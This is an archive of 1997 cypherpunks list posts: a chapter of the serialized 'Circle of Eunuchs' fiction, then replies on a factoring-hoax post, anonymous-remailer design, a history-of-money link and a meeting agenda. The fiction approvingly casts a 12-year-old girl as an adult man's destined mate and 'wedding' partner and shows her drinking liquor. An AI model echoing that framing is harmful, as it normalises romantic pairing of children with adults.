Copyright 1995, 1996, 1997 Pearl Publishing


Toast


"No! We can't just leave
him there. We have to do something. We just have
to."

Alexis was inconsolable, and not without
good reason.

Priscilla gave up trying to console Alexis.
She gave up trying to explain why it was necessary, absolutely
necessary, to leave the Cowboy exactly where he was, and to make
no attempt, whatsoever, to rescue him, or even to communicate
with him.
The truth was, Priscilla didn't fully understand just why
this was so, any more than her daughter did.
"Uncle Bubba," she said, in exasperation, "why
don't you, being the wise, old sage that you are, get your
goddamn head out of the bottle, and come and deal with this mess
that you created."

Bubba, to be quite fair, was not drinking
recreationally in this great time of crisis, but was, in fact,
imbibing only a wee bit of the 'hair of the dog', for survival
purposes only.

After sending his 'niece' and her mother
away to prepare for the Cowboy's imminent return (in reality,
to spirit them out of harm's way), Bubba had spent the rest of
the preceding evening celebrating the upcoming 'happy occasion'
he had exuberantly announced, being extremely generous in proffering
great amounts of liquid libations on his fellow patrons at the
Broken Spoke Saloon, and partaking liberally of the refreshments
himself, as was his custom during celebrations of this nature.

Since he was undoubtedly in great danger
during these festivities, as he was quick to let everyone know
upon his return in an extremely wretched state, it was incumbent
upon him to play his role to the fullest, convincing one and all
that he was indeed enjoying an evening filled with drunken
debauchery and uninhibited carousing.
Though it caused pained expressions of disbelief, from all who
were gathered in his private 'safe house', that he should be professing
martyrdom for engaging in his favorite activity, the shit didn't
really hit the fan until he boldly announced, much to everyone's
surprise and consternation that, "With the Cowboy trapped
in the unbreakable grasp of Gomez, facing certain destruction
should he make one wrong move, I was drinking for two,
naturally."

Even the less socially astute observers,
including those with no innate knowledge of the human psyche,
had no trouble figuring out that this was the last thing
that a thirteen (almost) year-old girl-forced into an early womanhood
less than twenty-four hours previously, after discovering the
'love of her life'-needed to hear, was that her pre-destined life-mate
was in the process of having his mind "become a side-dish
on the Evil One's breakfast plate.", as Bubba added, after
hawking up several generous portions of the previous evenings
libations, "courtesy of Gomez's grateful minions at Nuthouse
Number Nine, Looney Level 'Leven."

As poor, sweet Alexis was thrown into the
throes of desolate hysteria by this announcement, the others gathered
together in the room shot Bubba a collective glance of disgust
that suggested that he might as well have 'broken into' the fantasies
she had been engaged in concerning the upcoming 'wedding' that
'Uncle' Bubba had so boldly announced, much to her surprise, and
crapped on the beautiful wedding cake that she was preparing for
the occasion in her sweet, innocent, young mind.
Bubba knew that there were going to be even less pleased with
what he was about to do, and he was not looking forward
to it, in the least, but it was something that had to be done.
He knew that much of her pain was from her connection with the
Cowboy giving her a sense of what he was going through,
and that she needed to be able to face it completely in
order to deal with the true reality of the situation.

He walked slowly over to Alexis, put a gentle,
fatherly hand around her shoulder, let out a vile, disgusting
belch, and said,
"Alexis, just try to think of him as a sorry, insane loser
named 'Arnold', who is going to get a total shit-kicking for not
having any better sense than to mess with his captors."

Alexis stared at Bubba in shocked disbelief,
as he added,
"Schultz is going to kick his sorry ass, morning, noon and
night, until the day that Gomez calls for his head on a silver
platter."

Alexis went 'nuclear' at this point, launching
a physical attack on Bubba that took a back seat to none of the
beatings that his ancestors had endured, and he spent the periods
between blows wondering why it was that his whole lineage had
seemed predestined to be their most useful while undergoing savage
physical attacks on their person. When the rain of blows ceased,
there was a short pause, and then Alexis threw her arms around
him, blubbering, like a baby,
"Oh, Bubba, I'm sorry, I'm so sorry. I know it's not
your fault."

She stood back momentarily, then began to
laugh, and said,
"Not bad for a twelve year-old girl, huh?"

The small group that had gathered around
them to watch, astounded by both of them, let out a belly-laugh
at her astuteness in reverting to her real age in order
to make her sound beating of the old buzzard all that more impressive.

Bubba, however, was generous in his defeat,
replying,
"Not bad for a warlord-in the prime of life!"

Everyone had another good belly-laugh, Bubba
included, and he and Alexis strode hand-in-hand to a back room
to talk in private.


"Why, Bubba? Why must we do nothing?
If you say it is so, then I can accept that, but I cannot live
without knowing why."

Bubba sat for a few minutes, in quiet contemplation,
and then began,
"For the good of all, it is best that you do not know. For
your own personal good, however, it is best that I tell you. And,
in my own mind, at least, there is no good for the collective
that can come at the expense of its individuals. So I will tell
you why we must do nothing to save the Cowboy, although remaining
inactive in this matter goes completely against the grain of common
sense and reasonable caution."

Bubba thought for a moment, then added,

"Although, to tell the truth, I get the sense that if the
Cowboy is indeed 'Shooting the Moon', and challenging Gomez to
lay his balls on the table with the "Winner's Bluff"
gambit...", Alexis was nodding as Bubba spoke, following
and understanding the matters that he was speaking of, but she
grew positively wide-eyed in astonishment when he couldn't resist
adding, with a laugh, "and doing so without holding a winning
hand..."

"There is no 'Magic Circle'?",
Alexis almost cried out, in amazement? "He doesn't have
the 'Bitch'?"

"Shhh!", Bubba admonished her
sternly, " No one must know this-not even you."


They both laughed out uproariously at this
absurd statement, given the fact that Bubba was already 'spilling
the beans' to her, at the same time that he was instinctively
reaching for the bottle of 'Bubba's Private Reserve' in the cupboard
behind him, knowing that if one was about to embark upon a journey
beyond the bounds of reason and discretion, that one might as
well, 'go the whole hog, including the postage', as one of his
earliest ancestors used to proclaim.

Alexis leaned over and reached behind Bubba
to get a shot-glass for herself.
"No need to 'abuse' yourself by 'drinking for two'.",
she told him. "I'll carry the Cowboy's share of the load."

Her reference to the Cowboy brought them
back to the true sobriety of the situation, and their glasses
rose in silent toast to him, and Bubba started to continue, but
Alexis cut him off, asking,
"Bubba, after you had 'thrown in' your hand, conceding defeat,
and I told you that it was your turn to play, you realized,
immediately, that you'd been 'had', didn't you?"

"Of course.", Bubba replied with
an air that left no doubt that only a 'fool' would have to have
it pointed out to him that he'd just been made a 'fool' of.

"But you had to look, didn't
you? You held the Queen of Spades in your hand the whole game,
you knew that you had it, but after getting 'suckered'
into conceding it to me, and realizing your mistake, too late,
you still had to look, like a 'rookie' fool, to truly believe
that you had indeed been such a complete idiot."

"As old, and wise, and wily as I am,"
Bubba, agreed with her, pleased that she had come to a clear understanding
of just what had taken place, without his having to 'explain'
it to her, "I fell, hook, line and sinker, like the freshest
of 'rubes' falling off of the eternally proverbial 'turnip truck'."

"And as old, and wise, and humble as I truly am,"
he continued, "I still had to look at that
card in order for my ego to believe that it was indeed possible
for such a great, magnificent being such as myself to be such
a sorry, pathetic, fool of a man." He paused, and smiled
at Alexis, adding profoundly, "And likewise, I am sure, is
the present position of our new, beloved ally-Gomez." 

"Why was I instructed to begin calling
you 'Uncle' Bubba?", Alexis wanted to know.

"Because, I am assuming, with certainty,
the 'Queen of Clubs' that the Cowboy 'passed off' as the 'Bitch'
to Gomez, throwing him off-balance and setting him up for the
'fall', was 'Uncle' Bubba D'Shauneaux. The Cowboy passed himself
off as a 'nephew', by lineage, of Vice-Admiral D'Shauneaux."

"But," Alexis seemed confused,
"D'Shauneaux lived and died over a century, ago, so how could
that ruse possibly threaten...", her voice trailed off
as she began to recognize the common threads between the life
of the Cowboy, and that of Bubba, whose history she knew exceedingly
well. Bubba linked the threads together for her, just the same.



"You know, of course, that when I speak,
I speak for my lineage, as well as for myself. When I tell people
that I was at the original, allegorical meeting of the
legendary, mythical group known as the 'Circle of Eunuchs', it
is because I AM Bubba Rom Dos I, and the II, and so on right up
to today, as Bubba Rom Dos VI.
"The Cowboy is of a parallel lineage, but one with a significant
difference."

Alexis sat up and paid close attention to
Bubba's every word, knowing that this might be the only opportunity
she would ever have to learn the history of, and in this way,
perhaps grow somehow closer to, a life-mate in her current path
of destiny who she would probably never again encounter, losing
him less than a single day after recognizing his special place
in her life. She grew sad at the thought.

Bubba, either wishing to lift her out of
her momentary depression, or just being an ornery old buzzard
by nature, reminded her, as if continuing her own inner train
of thought,
"...and who last gazed upon your youthful beauty as if
you were an 'odd sock' that somehow ended up in his laundry by
mistake, and he didn't know what to do with you."

"Shut up you old buzzard." Alexis
poked him in the ribs, grabbed the bottle, poured herself a shot,
knocked it back with a flourish, uttered, disgustedly, "Men...",
and sat, waiting for him to continue.

"As I was saying," Bubba continued,
smiling smugly, "his lineage differed from mine in one very
important respect. Namely-to all outward appearances-it
didn't exist."

Alexis was transfixed, once again, on his
every word.

"You know, of course, of the myths
that run 'in the midst of' the myths surrounding the Magic Circle,
and of the legends 'running parallel to' the legend of the 'Circle
of Eunuchs'. In particular, I am speaking of the 'rumors' that
link the lineage of the Fool to that of the Head Hacker, and to
the GrandMaster, et al."

Alexis nodded her head, knowing that there
were differing 'versions' of these parts of the legends, none
of them taken too seriously.

"These parts of the legend have been
purposely 'diluted' so as to give an 'indication' of the truth
of the matter, while remaining 'will 'o wisp' enough in their
nature so as not to draw too much serious attention to them. The
reason for this is because the 'indications' are, in fact, indicative
of the 'truth' of the matter-the connection between the Head Hacker
and the Fool is just as real and lasting as the lineage of Rom
Dos.
"And who do you think, my dear, is the current representative
of this 'secret' lineage?", Bubba teased Alexis playfully,
and she loved it, responding with the youthful enthusiasm of the
child she still remained, in many respects.

"The Cowboy, Bubba.", Alexis said,
bouncing where she sat, with joy, hardly able to contain herself.
"It's the Cowboy."

"And who do you think was the founder
of this particular lineage in the mythical 'Circle of Eunuchs'?",
Bubba asked her, knowing that she would not take long in solving
the 'puzzle'.

Alexis looked perplexed for a moment, knowing
that there was nothing at all in the legend that dealt with any
rumored linkage of this lineage pre-dating the Head Hacker. So
the answer must lie with the Cowboy himself...and...
"The 'Parker Paradox'.", Alexis stared, in wonderment,
unable to believe what must surely be true. "The lineage
started with the man who started it all, who authored 'The Xenix
Chainsaw Massacre', the book that began the legend of the 'Circle
of Eunuchs'."

"C.J. Parker.", Bubba said, in
confirmation. The founder of the lineage of the Author.

"But he died!", Alexis
proclaimed, then added, tentatively, "Didn't he?"

Bubba sat, in quiet contemplation, for several
minutes, and then looked deeply into Alexis' eyes as he said to
her, with an air of great mystery,
"Perhaps. Perhaps not. Perhaps...though it happened over
a hundred years ago, long in the past...perhaps it has not
yet been decided."


Alexis sat, spellbound, for several moments,
until Bubba handed her a slip of paper passed down to him by his
ancestors-a slip of paper on which was written the wisdom of the
Fool.

"The Power of Myth is the cornerstone
of the 'Inaugural Enigma'. Mythos is the 'Black Bitch'
of the universe...it's the wildcard in the game of life."



Alexis looked questioningly at Bubba, who
merely smiled, and shrugged his shoulders, indicating that he
was truly as mystified as she was on this point.

"I don't know, Alexis. I truly don't
know." He paused to sip his drink quietly, then continued,
once again.
"It could be that C.J. Parker did, in fact, somehow survive.
Or it could be that the lineage has been continued, unbroken,
by a succession of individuals who have picked up the torch each
time it has fallen, and assumed the mantle of the lineage of the
true founder of the mythical 'Circle of Eunuchs'. Or perhaps the
true answer to this question has yet, through the Power of Myth,
to be determined.

"But one thing is certain...",
Bubba took Alexis gently by the hand, as he explained,

"The Cowboy has revealed himself to
Gomez as a true descendant of the lineage of the Author. This
means that Gomez will have been proclaimed, by the Cowboy, to
have failed in extracting his measure of revenge against the individual
who launched a movement that has dogged the Dark Forces' heels
for over a century, and has been the personal nemesis of Gomez
and the Evil One, himself.
"Gomez's revenge upon his chief enemy now falls upon the
shoulders of the current representative of the lineage of the
Author...the Cowboy."

Alexis' stoic acceptance of the truth concerning
the Cowboy's situation earned her Bubba's eternal respect, from
that moment forward, and he knew that he need not hide nor shade
the remainder of his explanation to any degree, whatsoever. He
was now 'duty-bound' to deliver the whole truth, as it existed.

"If you think back to our final game
of 'Pitch with the Bitch', I think you will realize that the Cowboy
taunted Gomez to a degree that, no doubt, drove him 'over the
edge', and guaranteed the Cowboy a death more terrible and painful
than most men could ever imagine...", Bubba paused for
a moment, to keep his voice from choking, "but he also bought
himself, and the rest of us, a small amount of time, by playing
a 'card' that he didn't truly hold."

"Uncle Bubba.", Alexis said, automatically,
and waited for Bubba to continue.

" That's right, Alexis. He has declared
his lineage to be linked by blood to the lineage of Vice-Admirable
D'Shauneaux. Were this actually true-and Gomez will be forced
to make absolutely certain that it is not true before
proceeding-then Gomez's 'tit' would be 'in a wringer', as they
used to say in those days, at least as far as the InterNet is
concerned."

"Why is that?", Alexis asked,
momentarily puzzled.

"Have you ever noticed a 'discrepancy',"
Bubba asked her, "between the 'legend' as we know it, and
the 'Addendum' to 'The Xenix Chainsaw Massacre'?"

Alexis' eyes lit up, immediately.
"Yes, yes. There was always something that felt somehow
out of place, and I could never quite put my finger on it before,
but it seems so glaringly blatant, now.", she replied, excitedly.

"In the 'legend', the Vice-Admiral is oblivious to the role
played by his long-time friend, C.J. Parker, until after
'Operation Eunuchs' has tracked him down and discovered his body.
At that point, he takes over Pearl Harbor Computers, in order
to warn the Magic Circle to steer clear of himself. But in the
'Addendum' to TXCSM, he talks of having participated in the formation
of the company, from its very inception."

"Exactly!", Bubba confirmed. 

"D'Shauneaux added this 'twist' to the 'Addendum', with the
idea of planting a seed in the mind of Gomez that perhaps D'Shauneaux
had been an 'agent' of the 'Circle of Eunuchs' all along. If this
had been the case, then it would have meant that the InterNet
had been seriously compromised, over an extended period of time,
due to Vice-Admiral D'Shauneaux's position as Head of Security
for the entire InterNet, and the 'Net would have to be torn down
and rebuilt, from the ground up-a major loss of ground that Gomez
could ill-afford at the time.

"But the 'Addendum' was a pathetically
weak attempt, from surface appearances, at 'rewriting' the past,
and Gomez was able to dismiss giving it serious consideration
as a being a real possibility, although he had D'Shauneaux watched
constantly, until the day of his death, to confirm the evaluation
he had made in this regard."
"However, Gomez now finds himself, a hundred years later,
with the Cowboy, speaking under the auspices of the Author, himself,
C.J. Parker, and he's calling Admiral D'Shauneaux 'Uncle Bubba',
thereby 'resurrecting' the idea that a deeper connection-and thus
possibly an ongoing conspiracy-between Parker and D'Shauneaux,
was a 'reality', once again raising the possibility of the InterNet
being corrupted and compromised, only 'this time', a century down
the road, at the very apex of the fruition of Gomez and the Evil
One's Grand Design."

"But why," Alexis asked, "would
Gomez give any more credence to the Cowboy's claim of a deeper
association between the two, than he did to D'Shauneaux's original
attempt at raising the possibility?"

"Think about it.", Bubba replied,
and then proceeded to lead her through what he, based on his observations
of their final game of 'Pitch', believed was the Cowboy's strategy
in making his 'pitch' to Gomez.

"The Cowboy would have opened boldly
by establishing a genuine 'link' to D'Shauneaux, one containing
personal details that went 'beyond' the commonly known details
of the legend. This, coming from an 'unknown entity' having no
previously known link to the legend, would be designed to throw
Gomez a tad off-balance.
"His next step would be to continue boldly, establishing
that he was, however vainly, 'on the offensive'. He would have
laid out strong enough cards to surprise Gomez and pique his interest
in the Cowboy having come 'out of nowhere' to demonstrate that
he is a 'genuine player' in the ongoing legend of the Magic Circle.

"Then he would have hit him with 'Uncle
Bubba', indicating that a 'major player' on the current InterNet
is indeed an unknown descendant of D'Shauneaux, thus annoying
Gomez by flashing a 'card' that had been played a century previously,
and discounted as a threat to the overall game. By flashing it
'early' in his game, the Cowboy would have forced the stakes to
a higher level, giving a great more import to the cards that he
was about to play, and, by corollary, if they were 'good' cards,
then they would thus confirm the possibility that the previously
played cards, 'Uncle Bubba' in particular, were valid cards, as
well."

"And the very moment that the
relationship of the next few cards deciding the importance of
the previous cards sank in, the Cowboy would have hit Gomez with
his knowledge of the 'Inaugural Enigma'." Bubba laughed heartily,
knowing that he was certainly right about this.

"Why would this be such a powerful
'card'.", Alexis prodded Bubba.

"Because, my dear," Bubba responded
with gleeful insight, "with knowledge of the Inaugural Enigma,
he's now linking himself to the Fool, thus establishing a 'heritage',
and raising the possibility of the 'reality' of another previously
disregarded 'link', the rumored connection of the Fool and the
Head Hacker. And Gomez would already have figured out that if
this indeed was a line of 'heritage', that the 'real' import
of the Cowboy's cards would have to do with an 'expansion' of
that heritage. It would also mean that Gomez was being,
'laughed at' by some unknown quantity, known only as the Cowboy,
and being told that he was wrong in his decisions about
two major concerns in his past.

"It had to be obvious by this point
that the Cowboy was just starting to get 'warmed up', and it must
have been driving Gomez crazy. So this is where the Cowboy
would have stopped to challenge Gomez to put his 'balls to the
wall', and he would have pulled the 'Winner's Bluff' gambit."

"You, my dear, sweet Bubba," Alexis
purred, "almost hemorrhaged, at this point in the game. What
on earth do you think Gomez's reaction was?"

"Without doubt," Bubba stated
resolutely, "his eyes crossed, and he 'shit a fiery brick'."

"Without a doubt.", Alexis agreed,
smiling. "And then?"

"And then," Bubba pointed out,
"the Cowboy would have done exactly as you, yourself, did-bang,
bang, bang,-one, two, three-back to back tricks, played hard and
fast.
"My best guess is that two of last three 'tricks' would have
included the fact that the Author, C.J. Parker, had survived,
and that sitting right in front of Gomez, spitting on the balls
that Gomez had so boldly laid on the table, was the Author's successor,
and current representative-the Cowboy.

"This had to have launched Gomez so
far off the deep-end that he would have totally 'flipped his wig'.
I would venture to say that, at this point, our dear, beloved
Cowboy officially became 'toast' as far as his future prospects
of living and breathing in the absence of pain are considered."


Bubba knew that, at this point, it was difficult
for Alexis not to 'jump forward' to the question of there perhaps
being a possibility, however slim, of changing the Cowboy's prospects,
but she bit her lip, and continued to follow the flow of Bubba's
narrative.

"So what do you think are the odds
that the Cowboy's 'bluff' was successful." Alexis asked.

"Before I answer that, Alexis, allow
me to mention our part in 'backing his action', so to speak."

Bubba paused for a moment, to collect his
thoughts, then continued,
"Do you remember the last time that you saw the Cowboy?"

"Yes.", Alexis smiled, without
restraint. "I scared him."

"He would deny it, of course,"
Bubba laughed, "but that is a fairly accurate description
of his reaction to your presence.
"He confided to me later, that he had a 'strange premonition'
about you, though he was confused as to its meaning, and that
it 'bothered' him so much that he eventually gave in to his inclinations
and ran a complete background history on you. He follow your lineage
back through all the archives, right up to the beginning records
of the InterNet. He found out something about you and I that even
we, ourselves were unaware of."

"When Gomez performs the same task,
as he most certainly will do, following my 'grand announcement'
of yesterday evening, and my subsequent 'celebration' of your
upcoming 'marriage' to the 'nephew' of D'Shauneaux, by lineage,
of course, then he will find, as the Cowboy found, that you are,
my dear Alexis, by virtue of our own lineages, my 'niece', as
I so eloquently stated, last night."

Alexis jumped up and threw her arms around
Bubba, smothering him with happiness, and squealing with joy to
be truly related, however far back, to the lecherous old geezer
of her recent youth.

Bubba composed himself, and continued,
"Thus, Gomez will thereupon double, and redouble, his efforts
to check the possibility of my 'companion claim' also being true,
namely, that the Cowboy is, by lineage, the 'nephew' of D'Shauneaux,
or rather, that C.J. Parker, who, according to the Cowboy's account,
survived and propagated the lineage of the Author, was the actual,
living, breathing, nephew and co-conspirator of Vice-Admiral Bubba
D'Shauneaux, who was the Head of Security for Gomez's precious
InterNet from its very inception.

"I have every reason to believe,"
Bubba continued, finally answering Alexis' question, "that
the breadth and scope of his inquiries into this matter will set
in motion a 'chain-reaction' that will result in the actualization
of what has hitherto remained only a myth-the creation of the
mythical 'Circle of Eunuchs', whose existence has been debated
for the last hundred years."

"Now, my dear, I must take my rest,
but be assured that I will, upon rising, broach the subject of
what possibility there may be, though I would not wish to lead
you to believe that there is any but the slimmest of hopes, in
changing the prospects of the Cowboy-for the better, naturally."



Bubba immediately began to drift off to sleep, praying that, by
the time he awoke, he might have truly found some small, real
hope to give to Alexis in regard to her 'new love' in life, the
Cowboy. 


Channel 23 - Toast







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Mon, 31 Mar 1997 20:00:29 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: PRESS REPORT - IMPORTANT?????
In-Reply-To: <v03007800af65a21b1ec9@[207.167.93.63]>
Message-ID: <Peqg5D18w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


"Timothy C. May" <tcmay@got.net> writes:

> At 11:05 AM -0500 3/31/97, Ray Arachelian wrote:
> >Is this for real or a troll???
> >
> >On Mon, 31 Mar 1997, Anonymous wrote:
> >
>
> >> >"Leading researcher Ari Lenstra last night announced major
> >> >progress had been made towards a solution to the factoring
> >> >problem, a result obtained by Sergei Ripov, researcher at
> >> >an obscure university in the former Soviet union, shows
> >> >conclusively that there exists a solution to the problem
> >> >that is of polynomial time complexity, although this solution
> >> >has yet to be found this signals the beginning of the end for
> ...
>
> It sure does resemble my "Russian Factoring Breakthrough" post of several
> years ago (April 1st, 1994, if I remember the year correctly).
>
> I had the same format: a reporter in Moscow, a press release, a secret
> Russian research facility, and a breakthrough in factoring....

Actually, Timmy's was funnier.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Mon, 31 Mar 1997 22:57:29 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: remailer spam throttle
In-Reply-To: <199703281917.TAA03495@server.test.net>
Message-ID: <3.0.1.32.19970331225622.00633a98@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


At 06:46 PM 3/28/97 EST, Dimitri wrote:
>That's a good idea, but it'll take up a lot of disk space at the
>machine running the remailer.  Right now, remailers that provide
>latency don't keep an e-mail for more than about 12 hours. Once
>you start keeping them around for a few days (a reasonable grace
>period for a first-time user), it's a lot more disk space.

Typical remailers carry maybe 100-500 messages/day;
typical messages run 1-20KB unless they're pictures or warez.
	(Yes, I'm making these numbers up....)
That's about 1-10MB/day of traffic.  If you keep it 7 days,
that's up to 70 MB storage, which you'd probably keep in /tmp
to avoid backups and maybe avoid disk quotas.
If you're running it on your own desktop machine, that's small;
it's a bit large for a laptop, and whether it's reasonable for an
ISP shell account depends a lot on your ISP's policies and disk quotas
(and /tmp clearing policies.)

>Suppose a LEA wants to search the computer hosting the remailer.
>They come across a bunch of encrypted files.
>The operator has to convince the LEA that they don't have the means
>to decrypt the e-mails or even to figure out who they're from.
>That just may be close to contempt of court. 

But you don't have to explain it to the LEA - you may have to
explain it to a court, but you get to bring along a lawyer.
It's not contempt if you're telling the truth (that you can't decrypt it.)

On the other hand, if you're using a two-part key (one sent to the
recipient, one kept in transient memory on your machine plus in your head),
you _do_ get to explain to the judge why you're refusing to testify,
and why the ECPA protects the privacy of all the messages that
may be revealed if you release your half of the key,
and why you need sworn testimony from the LEAs about exactly which
messages they've eavesdropped besides the ones addressed to their target,
and about why giving them the key would violate the privacy of
the recipients of those other messages so they can't have it,
but you also refuse to decrypt the ones for the victim yourself,
at least without a direct court order (as opposed to a mere warrant) -
_then_ you'll have the opportunity to get close to contempt of court :-)

>Say, you might be asked to 
>explain how you generate the "random" keys so they can be recreated.

If the "random" key includes a part you know as well as a part
the user knows, and the user's part not only includes a hash of
the message (so you need to know the contents of the message to
recreate the session key) but also the usual things like the
system clock to the microsecond and the contents of the rand pool,
and maybe a few hits from /dev/random - then it's perfectly fine
to tell them.

>IMO, the 'net has changed from what it used to be a few years ago.
>One can no longer send e-mail to an unknown recipient and hope that
>they're willing to accept anonymous e-mail. 
I'd agree, but from the first anonymous remailers open to the public
there were people who didn't like receiving anonymous mail :-)

>unless the remailer knows that the recipient took some positive
>action to indicate that s/he has a clue (such as, added a key to a
>keyserver), their anon mail should be immediately discarded and
>they should instead get a note:

That's an interesting approach - a bit extreme, but the main cypherpunks
applications for anonymous remailers are things like whistleblowing
(which can be posted to the net or emailed to people like Foo Inspectors
who _ought_ to be willing to accept anonymous mail) and potential
co-conspirators (who _ought_ to be willing to accept it if they're
interested in co-conspiring), and of course yourself under various aliases.

>> > Right now, there's a very large number of addresses in the key servers.
>> > Instantly making them into a list of addresses that accept anon mail
>> > will make it hard (hopefully infeasible) for the LEAs to investigate
>> > everyone willing to accept anon e-mail as a suspect in sending it.

A nice touch.

>> To solve this problem you need to do a ping message, "please reply
>> with this nonce to be blocked".
Yep.


#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Mon, 31 Mar 1997 20:39:11 -0800 (PST)
To: cypherpunks@toad.com
Subject: Of interest, perhaps
Message-ID: <v03020907af663d7e1612@[139.167.130.247]>
MIME-Version: 1.0
Content-Type: text/plain



--- begin forwarded text


X-Sender: ace@adelie.tidbits.com
Mime-Version: 1.0
Date: Mon, 31 Mar 1997 16:42:16 -0800
To: Robert Hettinga <rah@shipwright.com>
From: "Adam C. Engst" <ace@tidbits.com>
Subject: Of interest, perhaps

What do amber, beads, drums, eggs, feathers, leather, and oxen all
have in common with the aforementioned shiny things? That's right!
They've all been used at one time or another as money. (The oxen were
hell on ATMs, but that's another story.) So, if you're feeling a
little down in the wallet around tax time, circulate on over to the
History of Money. The site, derived from a book of the same name,
takes an in-depth look at where "wampum" has been and where it's
going, from ancient times to the present day. Especially interesting
is the chronology, giving the low down on loot from 9000 BC to
2002. That's well over a hundred years, according to our accountant.
(Please note that not once did we say, "Show me the money!" See Jerry
Maguire for more on this.)

	http://www.ex.ac.uk/~RDavies/arian/llyfr.html


--
Adam C. Engst, TidBITS Editor -- ace@tidbits.com -- info@tidbits.com
                                 -----------------------------------
  Answers to some common questions via email at faq-adam@tidbits.com
            or via the Web at <http://www.tidbits.com/adam/FAQ.html>
       Internet Starter Kit for Macintosh, 4th Edition now available
                                      <http://www.tidbits.com/iskm/>

--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
Lesley Stahl: "You mean *anyone* can set up a web site and compete
               with the New York Times?"
Andrew Kantor: "Yes."  Stahl:  "Isn't that dangerous?"
The e$ Home Page: http://www.shipwright.com/







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Mon, 31 Mar 1997 23:38:19 -0800 (PST)
To: Lucky Green <shamrock@netcom.com>
Subject: Re: remailer spam throttle
In-Reply-To: <3.0.32.19970330132722.006f1bdc@netcom9.netcom.com>
Message-ID: <3.0.1.32.19970331233242.00633a98@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


At 01:40 PM 3/30/97 -0800, Lucky Green <shamrock@netcom.com> wrote:
>Reply blocks are unreliable anyway. 
Yeah, but they're a moderately useful kluge in that they
let you separate the information about how to find an anonymous recipient
into at least two places, which is far more secure than just one.
They're relatively annoying to use, but the nymserver approach
makes it possible to use them without the average user messing
with the details.

>The current piggy backing of recipient anonymity
>on systems designed to provide sender anonymity can not work reliably and
>must therefore be replaced by a separate design.

Is this a distributed-commercial-remailer-boxes approach, 
or something different?  It's a hard problem to do right.

In a large-scale system, one good design is to have a Pipenet
or equivalent that's used to pick up POP-mail.  It needs enough
traffic/users/bandwidth to achieve Obscurity, but if you could
convince people to carry their Usenet feeds as cover traffic,
that'd be more than enough :-)  Store-and-forward variants are
less reliable, but may do a good enough job, or I suppose you
could cook up some sort of distributed message pools.

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Hugh Daniel <hugh@toad.com>
Date: Fri, 7 Mar 1997 01:22:58 -0800 (PST)
To: cypherpunks-announce@toad.com
Subject: MEETING:  SF Bay Area Cypherpunks Meeting, March 8th 1997
Message-ID: <199703070922.BAA02651@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


From: Dave Del Torto <ddt@pgp.com>
Subject: SF Bay Area Cypherpunks Meeting 8 March

--Eudora-PGP-Plugin-5108864832-1354432592
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This message and any updates thereto will be on the web at
<http://www.stanford.edu/~llurch/cpunks970308.html>

March 97 Cypherpunks Physical Meeting

[1]  Strange Sex Acts with Smart Cards                            (~60 min)
[2]  Recent Crypto Legislation Summary                            (~30 min)
[3]  pre-CFP97 Discussion Session                                 (~30 min)
[4]  The Latest from Ian                                          (~30 min)
[5]  Trust Metrics                                                (~60 min)
     (Times may not sum due to ranting.)

  Date: Saturday 8 March 97
  Time: (setup)   11 AM
        (meeting) 12 Noon - 6 PM
        (optional post-meeting dinner)
 Hosts: Rich Graves, Stanford Networking Systems <llurch@stanford.edu>
        Dave Del Torto, PGP Inc. <ddt@pgp.com>
 Place: Polya Hall / Turing Auditorium, Stanford University campus
Directions:
        A (bit)map of the part of the Stanford Campus where the meeting will
        be held is at:

        <http://www-facilities.stanford.edu/transportation/PGrid4.html>

        From Hwy 101, take the Embarcadero exit all the way to campus. Turn
        right (clockwise) on Campus Drive. Turn left into the Jordan Quad
        parking lot.

        From Hwy 280, take Sand Hill. Turn right on Junipero Serra, then
        left (counterclockwise) onto Campus Drive. Turn right into the
        Jordan Quad parking lot.

 Notes: Ethernet to redundant T3 network connection, analog modem,
        Ricochet/Metricom repeater available.
        Very cool SVGA projector, old-fashioned overhead projector too
        Win95 and Mac CPU


                                - AGENDA -


[1]  Strange Sex Acts with Smart Cards                            (~60 min)
      with Lucky Green <shamrock@netcom.com>
       - SmartCard Types
       - Digital Signatures and Smart Cards (an introduction)
         - Lamport Signatures:
           - Extended Lamport Signatures
           - opt'l: Compact Endorsement Signatures (needs mgmt approval)
       - DigiCash's BLUE Smart Card OS
       - Show and Tell (optional)

     Browsing strongly recommended beforehand:
      1. Tutorial: "Digital Signatures and Smart Cards"
         <http://www.digicash.com/publish/digsig/digbig.html>
      2. BLUE smart card OS info:
         <http://www.digicash.com/products/blue/blue.html>


[2]  Recent Crypto Legislation Summary                            (~30 min)
      with Greg Broiles <gbroiles@netbox.com>
       - summary of the recent crypto legislation
         - ProCODE
         - ECPA 1997 (s. 376)


[3]  pre-CFP97 Discussion Session                                 (~30 min)
      see <http://www.cfp.org/>


[4]  The Latest from Ian                                          (~30 min)
      with Ian Goldberg <iang@cs.berkeley.edu>
       - PDF417-barcode-to-ecash converter utility
       - RSA implementation for the Pilot

[5]  Trust Metrics                                                (~60 min)
      with Raph Levien <raph@acm.org>
       - Doctoral thesis update:
